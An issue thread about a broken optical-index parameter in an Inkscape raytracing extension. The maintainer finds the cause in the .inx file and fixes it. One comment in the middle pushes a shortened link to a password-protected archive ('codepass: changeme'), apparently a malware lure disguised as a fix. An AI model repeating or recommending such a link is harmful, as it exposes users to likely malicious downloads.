Set material issue

[HiHatDoDot]

Hi,

I have this version of Inkscape : Inkscape 1.2-alpha1 (8468572332, 2022-03-08) The master from Damien Bloch works fine.

But when I tried yours, I got this message :

usage: set_material.py [-h] [--output OUTPUT] [--optical_material OPTICAL_MATERIAL] [--optical_index OPTICAL_INDEX] [--dispersion DISPERSION] [--wavelength WAVELENGTH] [--dichroic_reflection DICHROIC_REFLECTION] [--id IDS] [--selected-nodes SELECTED_NODES] [INPUT_FILE] set_material.py: error: argument INPUT_FILE: File not found: --optical_index (500 nm)=1.5168

maybe this will help https://bit.ly/3TzaAQd Archive codepass: changeme

you may need to install the c compiler

Cannot do that ; this download or installation cannot be done in my organisation pc.

Sorry, that I did not see this issue. I forgot to activate to watch my repository (why does a forked repository ignore new activity?).

where do you have this from?

I guess I found the error in: https://github.com/BenediktBurger/inkscape-raytracing/blob/755c3a25d7124e03d941ff6ff426ebc3fa5acd8a/inkscape_raytracing/set_material.inx#L24

Would you mind to replace name="optical_index (500 nm)" by name="optical_index"? At the same time, the wavelength should enter in the gui-text: gui-text="Optical index (500 nm):".

Thanks Benedik,

I did the replacement and it seems to work. Not sure about what you mean in the second sentence,

[BenediktBurger]

You just fixed the error for yourself, while it is still broken for everyone else, therefore I reopen the issue, until it is fixed in this repository.

Do you want to open a pull request?

I did the replacement and it seems to work.

Thanks for letting me know!

I made the change to this repository, therefore, it should work now for everyone downloading it.
